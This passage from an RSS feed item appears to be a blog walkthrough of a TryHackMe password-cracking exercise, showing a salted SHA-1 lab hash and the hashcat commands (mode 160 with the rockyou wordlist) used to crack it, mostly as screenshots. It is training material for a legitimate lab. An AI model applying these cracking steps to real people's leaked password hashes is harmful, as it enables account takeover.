okay now lets crack we don't need to add the salt in the hash manually cause it is attached with that in the hash. But, most of we miss to add the (.) full stop at the end. This full stop is a part of this hash. And also it will take some time to crack -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5edsbhu979uyxs1usayu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5edsbhu979uyxs1usayu.png" alt=" " width="690" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pge42x3dqk00y24cn0b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F2pge42x3dqk00y24cn0b.png" alt=" " width="694" height="403"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0kjsd0jpplb3hl15yrg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fc0kjsd0jpplb3hl15yrg.png" alt=" " width="800" height="161"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;&lt;em&gt;Question-4:&lt;/em&gt;&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Hash: e5d8870e5bdd26602cab8dbe07a942c8669e56d6
Salt: tryhackme
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0t083ai20yxi5ah2jnt8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F0t083ai20yxi5ah2jnt8.png" alt=" " width="800" height="194"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;now if we look at the &lt;a href="https://hashcat.net/wiki/doku.php?id=example_hashes" rel="noopener noreferrer"&gt;hashcat_wiki&lt;/a&gt; the Sha-1 with salt is the mode 110 and also see the format   sha1($pass.$salt) -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F60gjxkny7jtq8hzy58xg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F60gjxkny7jtq8hzy58xg.png" alt=" " width="800" height="88"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But, unfortunately it didn't work :) then I sequentially search for other sha1 and salt type hash mode and I found this -&amp;gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaop9hwoi0pe25veswgx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhaop9hwoi0pe25veswgx.png" alt=" " width="800" height="236"&gt;&lt;/a&gt;&lt;br&gt;
And with that 160 mode we cracked the hash -&amp;gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="go"&gt;┌──(kali㉿kali)-[~/password]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s1"&gt;'e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme'&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; hash.txt
&lt;span class="go"&gt;
┌──(kali㉿kali)-[~/password]
&lt;/span&gt;&lt;span class="gp"&gt;└─$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 160 &lt;span class="nt"&gt;-a&lt;/span&gt; 0 hash.txt /usr/share/wordlists/rockyou.txt      
&lt;span class="go"&gt;hashcat (v7.1.2) starting

&lt;/span&gt;&lt;span class="gp"&gt;OpenCL API (OpenCL 3.0 PoCL 6.0+debian  Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #&lt;/span&gt;1 &lt;span class="o"&gt;[&lt;/span&gt;The pocl project]
&lt;span class="go"&gt;====================================================================================================================================================
&lt;/span&gt;&lt;span class="gp"&gt;* Device #&lt;/span&gt;01: cpu-sandybridge-12th Gen Intel&lt;span class="o"&gt;(&lt;/span&gt;R&lt;span class="o"&gt;)&lt;/span&gt; Core&lt;span class="o"&gt;(&lt;/span&gt;TM&lt;span class="o"&gt;)&lt;/span&gt; i5-12450H, 1466/2933 MB &lt;span class="o"&gt;(&lt;/span&gt;512 MB allocatable&lt;span class="o"&gt;)&lt;/span&gt;, 4MCU
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64t6l6oqn9xywg4lxl8z.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F64t6l6oqn9xywg4lxl8z.png" alt=" " width="639" height="387"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5e2pgyz1nzwc6sjgubm2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5e2pgyz1nzwc6sjgubm2.png" alt=" " width="800" height="155"&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>tryhackme</category>
      <category>cracking</category>
      <category>password</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
